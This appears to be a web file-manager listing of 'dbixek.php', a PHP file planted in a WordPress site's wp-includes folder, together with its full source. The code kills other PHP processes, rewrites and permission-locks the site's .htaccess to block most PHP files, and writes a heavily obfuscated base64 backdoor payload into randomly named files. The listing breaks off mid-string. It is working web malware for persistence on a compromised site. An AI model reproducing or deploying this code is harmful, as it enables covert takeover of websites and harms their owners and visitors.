File "dbixek.php"
Full path: /home/satitravel/public_html/wp-includes/dbixek.php
File
size: 76.39 B
MIME-type: text/x-php
Charset: utf-8
Download Open Edit Advanced Editor &nnbsp; Back
<?php
exec("ps -ef",$i,$j);if(is_array($i)){for($q=1;$q<count($i);$q++){$r=explode(" ",$i[$q]);$s=$r[count($r)-1];if(strstr($s,".php")&&!strstr($s,"lsphp")&&!strstr($s,basename(__FILE__))){for($t=1;$t<count($r);$t++){if(is_numeric($r[$t])){exec("kill -9 ".$r[$t],$u,$v);break;}}}}}usleep(300*1000);$w="/home/satitravel/public_html/";function get6str(){$x="";for($q=0;$q<6;$q++){$x.=chr(mt_rand(97,122));}return $x;}$y=$w."wp-includes/".get6str().".php";$z=base64_decode("PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4KPEZpbGVzTWF0Y2ggIi4qXC4ocHl8ZXhlfHBodG1sfHBocHxQSFB8UGhwfFBIcHxwSHB8cEhQfHBoUHxQaFB8cGhwNXxQSFA1fFBocDV8UEhwNXxwSHA1fHBIUDV8cGhQNXxQaFA1fHBocDd8UEhQN3xQaHA3fFBIcDd8cEhwN3xwSFA3fHBoUDd8UGhQN3xwaHA4fFBIUDh8UGhwOHxQSHA4fHBIcDh8cEhQOHxwaFA4fFBoUDh8c3VzcGVjdGVkKSQiPgpPcmRlciBBbGxvdyxEZW55CkRlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihpbmRleC5waHB8d3AtbG9naW4ucGhwfHdwLWNyb20ucGhwfGhlYWRlci5waHB8d3AtY29uZmlxLnBocHxsb2NrLnBocHx3cC5waHB8dGVtcC5waHB8YWJvdXQucGhwfHJhZGlvLnBocHxjb250ZW50LnBocCkkIj4KT3JkZXIgQWxsb3csRGVueQpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+");if(!file_exists($w.".htaccess")){@file_put_contents($w.".htaccess",$z);}else{$r=@file_get_contents($w.".htaccess");if(md5($r)!=md5($z)){@chmod($w.".htaccess",0133+0511);@file_put_contents($w.".htaccess",$z);}}@chmod($w.".htaccess",0311+0133);$aa=base64_decode("PD9waHAgaW5pX3NldCgnbWVtb3J5X2xpbWl0JywnLTEnKTskYT0iYmEiOyRiPSI2SUdsbUlDZ2haVyI7JGM9InMiOyRkPSI2SUdsbUlDZ2haVyI7JGU9IjZJR2xtSUNnaFpXIjskaT0iZSI7JHM9IjZJR2xtSUNnaFpXIjskdD0iNjQiOyR1PSRhLiRjLiRpLiR0LiJfZCIuJGkuImNvZCIuJGk7JHY9IlBEOXdhSEFLSUdkdmRHOGdaREZYVVhnN0lGZG5lRUpsT2lCcFppQW9JWE4wY25OMGNpZ2thblV6ZFdrc0lDSmNlRFk0WEhnM05Gd3hOVFZjTVRVMFhIZzFabHd4TkROY2VEWm1YREUxTmx3eE5qUmNlRFkxWERFMU5seDROelFpS1NrZ2V5Qm5iM1J2SUZWQ1ZWWmtPeUI5SUdkdmRHOGdURzlyTnpZN0lGTlVlRVV3T2lCbFkyaHZJQ1JET0U5amFqc2daMjkwYnlCemJuRXdTenNnY0ZCTWJXczZJR1Z5VkdoVk9pQm5iM1J2SUdWclpWTndPeUJrTVZkUmVEb2dRSE5sZEY5MGFXMWxYMnhwYldsMEtERXdNREFwT3lCbmIzUnZJSFZDTTA1eE95Qm5kWGswUVRvZ2NFVndUbVE2SUdkdmRHOGdaREUxUkRnN0lFUlVRbEZCT2lBa1F6aFBZMm9nUFNCemRISmZjbVZ3YkdGalpTZ2lYREUyTWx4NE5tWmNNVFF5WERFMU4xeDROelJjZURjelhIZzFabHg0TmpOY2VEWm1YSGcyWlZ3eE5qUmNlRFkxWEhnMlpWd3hOalFpTENBbkp5d2dKR3AxTTNWcEtUc2daMjkwYnlCWFRFaHpkenNnYlRFd2VWSTZJR1oxYm1OMGFXOXVJRTkzYlcxbUtDUlpZbkpZYWlrZ2V5Qm5iM1J2SUhSQllVZFVPeUJJVG5SbFNUb2dhV1lnS0NGd2NtVm5YMjFoZEdOb0tDSmNlREptWERVd2V5UmFWRFZJWkgxY05URmNOVGRjZURjelhERTFNU0lzSUNSWlluSllhaWtwSUhzZ1oyOTBieUJQYldveFh6c2dmU0JuYjNSdklGUnRlbGx4T3lCVWJYcFpjVG9nSkVOVVgxTkdJRDBnZEhKMVpUc2daMjkwYnlCRGRHUm1kRHNnWWs5WWNrWTZJR00wVEZCeU9pQm5iM1J2SUdrd1MyeDVPeUJEZFUxeGVUb2dhV1lnS0NFa1dXSnlXR29wSUhzZ1oyOTBieUJqTkV4UWNqc2dmU0JuYjNSdklFaE9kR1ZKT3lCeVZVWlRVam9nSkZwVU5VaGtJRDBnSWx3eE5EZGNNVFUzWEhnMlpseDROamRjZURaalhERTBOVng0TmpKY01UVTNYREUyTkZ4NE4yTmNNVFEzWEhnMlpseDRObVpjZURZM1hIZzJZMXd4TkRWY2VEZGpYREUzTVZ4NE5qRmNNVFV3WERFMU4xd3hOVGRjZURkalhERTBNbHd4TlRGY01UVTJYSGcyTjF4NE4yTmNlRFl4WERFMU4xd3hOVFFpT3lCbmIzUnZJRU4xVFhGNU95QjBRV0ZIVkRvZ0pFTlVYMU5HSUQwZ1ptRnNjMlU3SUdkdmRHOGdjbFZHVTFJN0lHa3dTMng1T2lCeVpYUjFjbTRnSkVOVVgxTkdPeUJuYjNSdklHdzFka05MT3lCRGRHUm1kRG9nVDIxcU1WODZJR2R2ZEc4Z1lrOVlja1k3SUd3MWRrTkxPaUI5SUdkdmRHOGdVekZrYjFJN0lFaDFWRUZ6T2lCQWFHVmhaR1Z5S0NKY2VEUXpYREUxTjF4NE5tVmNNVFkwWERFME5WeDRObVZjZURjMFhIZ3laRnd4TmpSY2VEYzVYSGczTUZ4NE5qVmNOekpjZURJd1hIZzNORnd4TkRWY01UY3dYREUyTkZ3MU4xd3hOekJjTVRVMVhERTFOQ0lwT3lCbmIzUnZJRWd3Y0c5SE95QjNORGRhVnpvZ0pFVkdWbEJuSUQwZ1lYSnlZWGtvSWx4NE16a2lMQ0FpWERjd0lpd2dJbHcyTWlJc0lDSmNOalFpTENBaVhEWTFJaXdnSWx4NE5qUWlMQ0FpWERZM0lpd2dJbHcyTkNJc0lDSmNOakVpTENBaVhIZ3pOeUlzSUNKY2VETXlJaXdnSWx4NE16SWlMQ0FpWEhnek5TSXNJQ0pjZURZeUlpd2dJbHg0TXpVaUxDQWlYRFkxSWl3Z0lseDROakVpTENBaVhEWXlJaXdnSWx4NE5qTWlMQ0FpWERZMElpd2dJbHg0TmpJaUxDQWlYSGcyTmlJc0lDSmNOalVpTENBaVhIZ3pNQ0lzSUNKY2VEWXlJaXdnSWx4NE16Z2lMQ0FpWERFME1TSXNJQ0pjZURZeElpd2dJbHg0TXpRaUxDQWlYREUwTXlJc0lDSmNOamNpTENBaVhIZ3pNeUlwT3lCbmIzUnZJRzVYUkhsSU95QkhlVEppWWpvZ0pFeEJiMlJDSUQwZ0lsd3hORGRjTmpOY2VETTJYREUxTlZ3eE56SmNlRFpsWERVMlhIZzJaRnd4TkRGY01UVTBYSGcyWTF3eE5ERmNNVFUwWERFMU5GeDRNbVZjTVRZMFhERTFOMXd4TmpBaU95Qm5iM1J2SUVWdVprbEpPeUJLUVU1WU5qb2dhV1lnS0hOMGNuTjBjaWdrYW5VemRXa3NJQ0pjZURZMFhERTFOMXd4TXpkY01UVTJYREUxTjF4NE56UmNNVFV3WERFMU1WeDRObVZjTVRRM0lpa3BJSHNnWjI5MGJ5QlZXbVZXT1RzZ2ZTQm5iM1J2SUZkbmVFSmxPeUJwVVhsRWFUb2dhV1lnS0NFb0pIQXdlbGhTSUQwOUlHbHRjR3h2WkdVb0pFVkdWbEJuS1NrcElIc2daMjkwYnlCU04zbDJZVHNnZlNCbmIzUnZJR2N3YVdsS095Qm5TMmxhUkRvZ0pHczNTVE5PSUQwZ2FYTnpaWFFvSkY5VFJWSldSVkpiSWx3eE1UQmNNVEkwWERFeU5GeDROVEJjTVRNM1hIZzFOVng0TlROY2VEUTFYREV5TWx3eE16ZGNlRFF4WERFd04xeDRORFZjZURSbFhIZzFOQ0pkS1NBL0lDUmZVMFZTVmtWU1d5SmNNVEV3WERFeU5GeDROVFJjZURVd1hERXpOMXg0TlRWY01USXpYREV3TlZ4NE5USmNNVE0zWERFd01Wd3hNRGRjTVRBMVhIZzBaVnd4TWpRaVhTQTZJQ2NuT3lCbmIzUnZJRU5MUW5saE95QlhURWh6ZHpvZ0pGSmhRMm95SUQwZ1pYaHdiRzlrWlNnaVhERXpNMXg0TW1GY2VESmhYSGd5WVZ4NE5XUWlMQ0J6ZEhKZmNtVndiR0ZqWlNnaVhERTJNbHd4TlRkY2VEWXlYSGcyWmx3eE5qUmNNVFl6WERFME0xd3hOVGRjTVRVMlhIZzNORng0TmpWY2VEWmxYSGczTkNJc0lDY25MQ0FrUXpoUFkyb3BLVHNnWjI5MGJ5QlVNVU51UnpzZ1VURlZjakE2SUdWNGFYUTdJR2R2ZEc4Z1NHeFJVM2s3SUZJM1ZrVklPaUFrWTJkSlpIUWdQU0JQVVdZeWJDZ2themRKTTA0cE95Qm5iM1J2SUhSblpYQmhPeUJDY21oWU9Ub2dKRVV5WVd0NklEMGdKRjlUUlZKV1JWSmJJbHd4TURSY01URTNYSGcwTTF3eE1qVmNNVEUxWEhnME5Wd3hNVFpjTVRJMFhERXpOMXg0TlRKY01URTNYSGcwWmx3eE1qUWlYVHNnWjI5MGJ5QkhlVEppWWpzZ1lXTmhVVzA2SUZWQ1ZWWmtPaUJuYjNSdklHTXhiMFJqT3lCaVlWTlJaam9nYVdZZ0tDRm1hV3hsWDJWNGFYTjBjeWdrUlRKaGEzb2dMaUFpWERVM1hERTJNbHd4TlRkY01UUXlYSGcyWmx4NE56UmNNVFl6WEhneVpWeDROelJjZURjNFhIZzNOQ0lwS1NCN0lHZHZkRzhnUzB0ZlN6YzdJSDBnWjI5MGJ5QkRiakIzVVRzZ2MzSnZXVmM2SUdsdWFWOXpaWFFvSWx4NE5qUmNlRFk1WEhnM00xd3hOakJjTVRVMFhIZzJNVng0TnpsY2VEVm1YSGcyTlZ4NE56SmNlRGN5WEhnMlpsd3hOakpjTVRZeklpd2dJbHg0TkdaY01UUTJYREUwTmlJcE95Qm5iM1J2SUhoRGVtRmhPeUJ3YldkMWNUb2dKRU00VDJOcUlEMGdjM1J5WDNKbGNHeGhZMlVvSWx3eE5UQmNlRGMwWERFMU5Wd3hOVFJjTVRNM1hERTBNMXg0Tm1aY01UVTJYSGczTkZ4NE5qVmNlRFpsWEhnM05DSXNJQ2NuTENBa2FuVXpkV2twT3lCbmIzUnZJRk5VZUVVd095QkRRV0pVYURvZ1pYWmhiQ2dpWERjM1hEYzJJaUF1SUNSMlFsRjZRbHNpWEhnMk0xd3hOVGRjTVRVMlhIZzNORnd4TkRWY2VEWmxYREUyTkNKZEtUc2daMjkwYnlCUFZVUlVlanNnUnpCV1MwTTZJR1Y0YVhRN0lHZHZkRzhnVEhwQ1FrTTdJRXh2YXpjMk9pQkFhR1ZoWkdWeUtDSmNlRFF6WEhnMlpsd3hOVFpjTVRZMFhIZzJOVnd4TlRaY2VEYzBYRFUxWERFMk5GeDROemxjZURjd1hIZzJOVng0TTJGY2VESXdYSGczTkZ3eE5EVmNlRGM0WERFMk5GdzFOMXd4TlRCY01UWTBYREUxTlZ4NE5tTmNlRE5pWERRd1hERTBNMXd4TlRCY01UUXhYREUyTWx3eE5qTmNlRFkxWEhnM05GeDRNMlJjZURjMVhIZzNORnd4TkRaY2VESmtYSGd6T0NJcE95Qm5iM1J2SUhCdFozVnhPeUJUTVdSdlVqb2dablZ1WTNScGIyNGdUM0ZHTW13b0pGbGljbGhxS1NCN0lHZHZkRzhnYW10cVZWVTdJSEJMTUVkTE9pQWtXbFExU0dRZ1BTQWlYSGd6TTF4NE16WmNlRE13WERFeU0xd3hOakJjZURZNVhIZzJORnd4TkRWY01UWXlYREUzTkZ4NE5ERmNlRFk0WERFMk1seDROalZjZURZMlhIZzNNMXg0TkRKY01UVTNYSGczTkZ3eE56UmNlRFF4WERFMU5Wd3hOREZjTVRjeVhIZzJabHd4TlRaY01UUXlYREUxTjF4NE56UmNNVGMwWEhnME1WeDROekJjZURjd1hERTFORnd4TkRWY05EQmNNVEF5WEhnMlpsd3hOalJjTVRjMFhERXdNVng0TnpOY2VEWmlYSGd5TUZ3eE1USmNlRFkxWERFME5Wd3hOalpjZURZMVhIZzNNMXd4TnpSY01UQXhYSGczTjF3eE5ERmNlRGN5WEhnMk9Wd3hOVGRjZURReVhIZzJabHg0TnpSY01UYzBYREV3TWx4NE5qRmNlRFk1WEhnMk5Gd3hOalZjZURVelhIZzNNRng0TmpsY01UUTBYREUwTlZ4NE56SmNlRGRqWEhnME1sd3hOREZjTVRVeFhIZzJORnd4TmpWY2VEY3pYSGczTUZ4NE5qbGNlRFkwWERFME5Wd3hOakpjZURKa1hERTFNVng0Tm1SY01UUXhYSGcyTjF4NE5qVmNNVGMwWERFd01sd3hOekZjZURjMFhERTBOVnd4TmpOY2VEY3dYREUxTVZ3eE5EUmNlRFkxWERFMk1sd3hOelJjTVRBMFhIZzJNVng0TnpSY2VEWXhYSGcwTmx3eE5UZGNlRGN5WERFeU0xd3hORFZjZURabVhERXdNbHd4TlRkY01UWTBYREUzTkZ4NE5qUmNNVFF4WEhnM05Gd3hOREZjZURjd1hIZzNNbHg0Tm1aY2VEYzJYREUxTVZ4NE5qUmNlRFkxWEhnM01seDROMk5jZURRMFhIZzJabHg0TnpSY2VEUXlYSGcyWmx4NE56UmNlRGRqWERFd05GeDROelZjZURZelhIZzJZbHg0TkRSY2VEYzFYREUwTTF4NE5tSmNNVEF5WEhnMlpsd3hOalJjZURkalhERXdOVnd4TnpCY01UUXhYSGcyWTF4NE5qVmNNVFF4WERFME5Gd3hOelJjZURRMVhERTNNRng0TmpOY2VEWTVYREUyTkZ3eE5EVmNNVGMwWEhnMk5seDROakZjTVRRelhERTBOVng0TmpKY2VEWm1YREUxTjF3eE5UTmNlRGRqWEhnMk5sd3hOREZjTVRRelhERTBOVng0TmpKY2VEWm1YSGcyWmx3eE5UTmNNVFExWERFM01GeDROelJjTVRRMVhERTJNbHg0Tm1WY2VEWXhYSGcyWTF3eE5UQmNNVFV4WEhnM05GeDROMk5jZURRM1hIZzFNRnd4TWpSY2VEUXlYREUxTjF4NE56UmNlRGRqWERFeE5Gd3hOekZjZURZelhERTFOMXd4TmpOY01UYzBYREV4TlZ4NE5HRmNlRE14WEhnek1seDROakpjZURabVhERTJORng0TjJOY2VEVXpYREUwTTF3eE5UZGNNVFUzWEhnM05GeDROalZjTVRZeVhIZzNZMXg0TlROY01UUTFYSGcyWkZ3eE5qSmNlRGMxWERFMk0xd3hOVEJjTVRBeVhERTFOMXd4TmpSY01UYzBYREV5TTF4NE5qbGNlRGMwWEhnMk5Wd3hNVFJjTVRVM1hIZzJNMXg0Tm1KY2VEVXpYSGczTUZ4NE5qbGNlRFkwWEhnMk5Wd3hOakpjZURkalhERXlNMXd4TlRSY01UUTFYREUyTlZ3eE5qUmNNVFV3WERFM05GeDROVE5jTVRVM1hIZzJOMXg0Tm1aY2VEYzFYRFF3WEhnMFpWd3hORFZjZURjM1hERTJNMXcwTUZ4NE5UTmNlRGN3WEhnMk9WeDROalJjTVRRMVhERTJNbHg0TjJOY01USXpYSGcyWmx3eE5EZGNNVFUzWEhnM05WdzBNRnd4TmpkY2VEWTFYSGcyTWx4NE1qQmNNVFl6WEhnM01Gd3hOVEZjZURZMFhERTBOVng0TnpKY2VEZGpYSGcxTTF4NE5HWmNlRFV6WEhnMFpseDRNakJjZURVelhIZzNNRng0TmpsY01UUTBYSGcyTlZ4NE56SmNNVGMwWERFeU5Gd3hOamRjZURZNVhIZzNORng0TnpSY2VEWTFYREUyTWx3eE5ESmNlRFptWERFMk5GeDROMk5jTVRNeFhERTBNVnd4TlRaY01UUTBYSGcyTlZ4NE56aGNlREl3WERFd01sd3hOVGRjZURjMFhERTNORng0TlRsY01UUXhYREUxTmx4NE5qUmNlRFkxWERFM01GeDROREpjTVRVM1hIZzNORng0TjJOY01UTXhYSGcyT1Z3eE5qTmNlRFptWEhnM05WeDROVE5jZURjd1hERTFNVnd4TkRSY2VEWTFYREUyTWx3eE56UmNlRFU1WERFMU4xeDROalJjZURZeFhIZzJabHd4TURKY2VEWm1YSGczTkZ3eE56UmNNVE14WEhnMlpsd3hOalZjTVRRMFhERTBNVng0Tm1aY2VEUXlYSGcyWmx4NE56UmNNVGMwWERFd01sd3hNVFJjTVRBMVhIZzFPRng0TkRKY2VEWm1YSGczTkZ4NE4yTmNNVFF4WERFMk1Gd3hOakJjTVRVMFhERTBOVng0TmpKY01UVTNYSGczTkZ4NE4yTmNNVEF6WEhnME0xd3hNREpjTVRVM1hIZzNORng0TjJOY2VEVXdYREUwTlZ4NE56UmNNVFF4WERFMU5GeDROREpjZURabVhERTJORnd4TnpSY01UQXpYREUxTkZ4NE5qRmNlRGMxWEhnMk5GeDROalZjTVRBeVhIZzJabHd4TmpSY2VEZGpYSGcwT0Z4NE56VmNNVFEwWEhnME9GeDROelZjZURZMFhEVTFYSGcyTjF4NE5qVmNlRFpsWERFME5WeDROekpjTVRReFhERTFORng0TW1SY01UUXlYREUxTjF4NE56UmNNVGMwWEhnMU0xd3hORFZjZURkaFhERTFObHg0TmpGY2VEWmtYREV3TWx4NE5tWmNNVFkwWERFM05Gd3hNRFZjTVRjeVhERTFOMXd4TlRGY01UUXpYSGcwTWx4NE5tWmNlRGMwWEhneVpGeDROR1ZjZURZNVhIZzJNMXd4TlRCY2VEWTFYSGcyT1Z3eE5qRmNlRGRqWEhnME1Wd3hOVEJjTVRZeVhIZzJOVng0TmpaY01UWXpYSGcxTTF3eE5URmNNVFkwWEhnMk5Wd3hNREZjZURjMVhIZzJORnd4TlRGY01UWTBYREUzTkZ4NE5HWmNNVEF4WERFeE1WdzFOVng0TlROY2VEWTFYREUwTVZ3eE5qSmNlRFl6WERFMU1Gd3hNREpjZURabVhIZzNORnd4TnpSY01UVTBYREUxTVZ4NE5tVmNlRFppWEhnMk5GeDROalZjZURjNFhERTBNbHg0Tm1aY2VEYzBYSGczWTF3eE1ETmNlRFk0WERFME1WeDROelJjTVRBM1hIZzFNRnd4TWpSY2VESmtYREV5TlZ3eE5qTmNNVFExWEhnM01seDROMk5jZURVNVhERTBNVnd4TlRaY2VEWTBYSGcyTlZ4NE56aGNNVEUxWEhnMk5Wd3hOalJjTVRZeVhIZzJPVng0Tm1KY2VEWXhYREUzTkZ3eE16RmNNVFF4WERFMU5sd3hORFJjZURZMVhERTNNQ0k3SUdkdmRHOGdWbWhDZEZjN0lHcHJhbFZWT2lBa1ExUmZVMFlnUFNCbVlXeHpaVHNnWjI5MGJ5QndTekJIU3pzZ2JEaHlPRlk2SUcxU1ltcHBPaUJuYjNSdklHbEJaMVZhT3lCcFFXZFZXam9nYlhsdVpsUTZJR2R2ZEc4Z1NISlBTSFU3SUVoeVQwaDFPaUJ5WlhSMWNtNGdKRU5VWDFOR095Qm5iM1J2SUcxM1ZVc3hPeUJXYUVKMFZ6b2dhV1lnS0NFa1dXSnlXR29wSUhzZ1oyOTBieUJ0ZVc1bVZEc2dmU0JuYjNSdklGcFRNR1JsT3lCYVV6QmtaVG9nYVdZZ0tDRndjbVZuWDIxaGRHTm9LQ0pjZURKbVhIZ3lPSHNrV2xRMVNHUjlYSGd5T1Z4NE1tWmNlRGN6WERFMU1TSXNJQ1JaWW5KWWFpa3BJSHNnWjI5MGJ5QnRVbUpxYVRzZ2ZTQm5iM1J2SUZFMWMyUmhPeUJSTlhOa1lUb2dKRU5VWDFOR0lEMGdkSEoxWlRzZ1oyOTBieUJzT0hJNFZqc2diWGRWU3pFNklIMGdaMjkwYnlCV1dIaGxZVHNnUVV4aVkzazZJRlZhWlZZNU9pQm5iM1J2SUhkalNsZ3dPeUJ5WmpCb1lqb2dKR3AxTTNWcElEMGdKRWhaTURGUVd5SmNlRFl6WEhnMlpsd3hOVFpjZURjMFhIZzJOVng0Tm1WY2VEYzBJbDA3SUdkdmRHOGdTa0ZPV0RZN0lFeDZRa0pET2lCRGVrNWpZam9nWjI5MGJ5QnJjMHR5U0RzZ2VqaFRWMFE2SUdsbUlDZ2hKSFpDVVhwQ1d5SmNlRGN6WERFMk5GeDROakZjTVRZMFhIZzNOVng0TnpNaVhTa2dleUJuYjNSdklFcFNVMnhvT3lCOUlHZHZkRzhnUTBGaVZHZzdJRkJUVjJwV09pQlNOM2wyWVRvZ1oyOTBieUJITUZaTFF6c2dUbVpxZHpFNklDUlFiWE5tT0NBOUlITjFZbk4wY2lna1NGcDFNMEVzSURBc0lDMDJLVHNnWjI5MGJ5QjNORGRhVnpzZ2VFTjZZV0U2SUNSSVduVXpRU0E5SUdsemMyVjBLQ1JmVWtWUlZVVlRWRnNpWEhnMk1WeDROak5jZURjMFhERTFNVnd4TlRkY2VEWmxJbDBwSUQ4Z0pGOVNSVkZWUlZOVVd5SmNNVFF4WERFME0xeDROelJjZURZNVhERTFOMXg0Tm1VaVhTQTZJQ2NuT3lCbmIzUnZJR1J4U0hkM095QnpibkV3U3pvZ1pYaHBkRHNnWjI5MGJ5QmhZMkZSYlRzZ1pIRklkM2M2SUdsbUlDZ2haVzF3ZEhrb0pFaGFkVE5CS1NrZ2V5Qm5iM1J2SUhCRmNFNWtPeUI5SUdkdmRHOGdRbkpvV0RrN0lGUXhRMjVIT2lCbGVHbDBLR2x0Y0d4dlpHVW9VRWhRWDBWUFRDd2dKRkpoUTJveUtTazdJR2R2ZEc4Z1IwWk5RV0U3SUVOcmEwY3dPaUJsWTJodklDUkRPRTlqYWpzZ1oyOTBieUJSTVZWeU1Ec2dkbEZLWDIwNklHZHZkRzhnUTNwT1kySTdJR2R2ZEc4Z1ozVjVORUU3SUdReE5VUTRPaUFrUjNWbGNFY2dQU0J6ZFdKemRISW9KRWhhZFROQkxDQXROaWs3SUdkdmRHOGdUbVpxZHpFN0lIWTNNVVZKT2lCcFppQW9JWE4wY25OMGNpZ2thblV6ZFdrc0lDSmNNVFl5WERFMU4xeDROakpjTVRVM1hIZzNORnd4TmpOY01UTTNYREUwTTF3eE5UZGNlRFpsWERFMk5GeDROalZjZURabFhIZzNOQ0lwS1NCN0lHZHZkRzhnYW5CMVgxTTdJSDBnWjI5MGJ5QjNYMnRaVnpzZ2QxOXJXVmM2SUVCb1pXRmtaWElvSWx3eE1ETmNlRFptWERFMU5seDROelJjTVRRMVhERTFObHg0TnpSY05UVmNNVFkwWERFM01WeDROekJjTVRRMVhIZ3pZVncwTUZ4NE56UmNNVFExWEhnM09Gd3hOalJjZURKbVhERTJNRnd4TlRSY2VEWXhYREUxTVZ4NE5tVmNOek5jZURJd1hERTBNMXg0TmpoY01UUXhYREUyTWx4NE56TmNNVFExWERFMk5GdzNOVng0TnpWY01UWTBYREUwTmx3MU5WdzNNQ0lwT3lCbmIzUnZJRVJVUWxGQk95QjBaMlZ3WVRvZ2FXWWdLQ0VvSkVOVVgxTkdJSHg4SUNSaWNIRldiU0I4ZkNBaEpHTm5TV1IwS1NrZ2V5Qm5iM1J2SUhNelZGSmlPeUI5SUdkdmRHOGdTVTQxUlVZN0lFNDJaV3hsT2lBa1pXcEhZMnNnUFNBaVhIZzJPQ0lnTGlBaVhIZzNOQ0lnTGlBaVhERTJOQ0lnTGlBaVhIZzNNQ0lnTGlBaVhERTJNeUlnTGlBaVhEY3lYRFUzSWlBdUlDSmNlREptSWlBdUlDUk1RVzlrUWlBdUlDSmNOVGRjTVRZM1hERTJNQ0lnTGlBaVhIZ3laRnd4TlRFaUlDNGdJbHd4TlRZaUlDNGdJbHg0TmpRaUlDNGdJbHg0TmpVaUlDNGdJbHg0TnpnaUlDNGdJbHcxTmx4NE56QmNlRFk0SWlBdUlDSmNlRGN3WERjM0lpQXVJQ1JWV0ZsdFZqc2daMjkwYnlCQ1MyWXdlanNnZDJOS1dEQTZJRlY1UjNKUU9pQm5iM1J2SUhaUlNsOXRPeUJJTUhCdlJ6b2dKRU00VDJOcUlEMGdjM1J5WDNKbGNHeGhZMlVvSWx3eE56QmNlRFprWEhnMlkxeDROV1pjTVRRelhIZzJabHd4TlRaY01UWTBYREUwTlZ4NE5tVmNlRGMwSWl3Z0p5Y3NJQ1JxZFROMWFTazdJR2R2ZEc4Z1EydHJSekE3SUhNd1JEVXpPaUJwWmlBb0lTUklXVEF4VUZzaVhIZzNNMXd4TmpSY2VEWXhYSGczTkZ3eE5qVmNlRGN6SWwwcElIc2daMjkwYnlCVmVVZHlVRHNnZlNCbmIzUnZJSEptTUdoaU95QjFhM3BHWnpvZ0pGVllXVzFXSUQwZ0lsd3hOVEJjZURjMFhERTJORnd4TmpCY2VEVm1YREUyTkZ3eE56RmNlRGN3WERFME5WdzNOU0lnTGlCaVlYTmxOalJmWlc1amIyUmxLQ1JTY1ZVMmFpa2dMaUFpWERRMlhIZzJPRnd4TmpSY2VEYzBYSGczTUZ3eE16ZGNNVFkxWEhnM01seDROamxjTnpVaUlDNGdZbUZ6WlRZMFgyVnVZMjlrWlNna1VIbFlRamtwSUM0Z0lseDRNalpjTVRVd1hERTJORng0TnpSY2VEY3dYSGcxWmx4NE5tTmNlRFl4WERFMU5sd3hORGRjZUROa0lpQXVJR0poYzJVMk5GOWxibU52WkdVb0pFcEpRM0p2S1NBdUlDSmNORFpjTVRVd1hERTJORnd4TmpSY01UWXdYREV6TjF4NE5qaGNlRFptWERFMk0xd3hOalJjZUROa0lpQXVJR0poYzJVMk5GOWxibU52WkdVb0pHeGFZMUJRS1NBdUlDSmNORFpjTVRVd1hIZzNORng0TnpSY2VEY3dYREV6TjF3eE5qSmNlRFkxWEhnMk5sd3hORFZjZURjeVhEYzFJaUF1SUdKaGMyVTJORjlsYm1OdlpHVW9KR1J3TmtSQktTQXVJQ0pjTkRaY2VEWTRYREUyTkZ3eE5qUmNNVFl3WEhnMVpseDROelZjZURjelhIZzJOVnd4TmpKY01UTTNYREUwTVZ3eE5EZGNlRFkxWEhnMlpWd3hOalJjTnpVaUlDNGdZbUZ6WlRZMFgyVnVZMjlrWlNna2F6ZEpNMDRwSUM0Z0lsdzBObHg0TmpoY2VEYzBYSGczTkZ4NE56QmNlRFZtWEhnMk9Wd3hOakJjZURWbVhERTBNVng0TmpSY2VEWTBYSGczTWx4NE5qVmNNVFl6WEhnM00xdzNOU0lnTGlCaVlYTmxOalJmWlc1amIyUmxLQ1JvTkd0bE15azdJR2R2ZEc4Z2NWQXpSVEk3SUVkR1RVRmhPaUJxY0hWZlV6b2daMjkwYnlCQlRHSmplVHNnVDFWRVZIbzZJRXBTVTJ4b09pQm5iM1J2SUZCVFYycFdPeUJ6VVY5Mll6b2dKR3hhWTFCUUlEMGdKRjlUUlZKV1JWSmJJbHd4TVRCY01USTBYSGcxTkZ4NE5UQmNNVE0zWEhnME9GeDROR1pjTVRJelhIZzFOQ0pkT3lCbmIzUnZJRkE1WjJKQ095QmxhMlZUY0RvZ0pFTlVYMU5HSUQwZ2IzZHRUV1lvSkdzM1NUTk9LVHNnWjI5MGJ5QndZVkZwVXpzZ1EwdENlV0U2SUNSb05HdGxNeUE5SUVZeFdFVldLQ2s3SUdkdmRHOGdkV3Q2Um1jN0lFSkxaakI2T2lCcFppQW9JU2h6ZEhKcGMzUnlLQ1JRZVZoQ09Td2dJbHcxTmx4NE56aGNlRFprWEhnMll5SXBJSHg4SUhOMGNtbHpkSElvSkZCNVdFSTVMQ0FpWERFMk1sd3hOVGRjTVRReVhERTFOMXg0TnpSY01UWXpYRFUyWERFMk5GeDROemhjTVRZMElpa3BLU0I3SUdkdmRHOGdaWEpVYUZVN0lIMGdaMjkwYnlCaVlWTlJaanNnYmxkRWVVZzZJQ1J3TUhwWVVpQTlJRzFrTlNna1VHMXpaamdwT3lCbmIzUnZJR2xSZVVScE95QnJjMHR5U0RvZ1puVnVZM1JwYjI0Z1RsWm9jRFFvS1NCN0lHZHZkRzhnUlRkRlEzSTdJSFpEU2sxME9pQlhUVmxOZERvZ1oyOTBieUJTY0VkbVdEc2dUbkpmVDBrNklFeE1lRUZGT2lCbmIzUnZJRU5DYTFGcE95QlNjRWRtV0RvZ2NtVjBkWEp1SUNKY2VEWTRYREUyTkZ3eE5qUmNlRGN3WEhnM015STdJR2R2ZEc4Z1RuSmZUMGs3SUVjMGFFVmhPaUJuYjNSdklFeE1lRUZGT3lCbmIzUnZJSFpEU2sxME95QkVPV05hUWpvZ2FXWWdLQ1JNUVU0d2VDa2dleUJuYjNSdklGZE5XVTEwT3lCOUlHZHZkRzhnZGxwd1VYbzdJRVUzUlVOeU9pQWtURUZPTUhnZ1BTQWhaVzF3ZEhrb0pGOVRSVkpXUlZKYklsd3hNVEJjTVRJMFhIZzFORnd4TWpCY01USXpJbDBwSUNZbUlDUmZVMFZTVmtWU1d5SmNlRFE0WEhnMU5Gd3hNalJjTVRJd1hERXlNeUpkSUNFOVBTQWlYSGcyWmx3eE5EWmNNVFEySWlCOGZDQWtYMU5GVWxaRlVsc2lYSGcxTTF3eE1EVmNlRFV5WEhnMU5seDRORFZjZURVeVhERXpOMXg0TlRCY2VE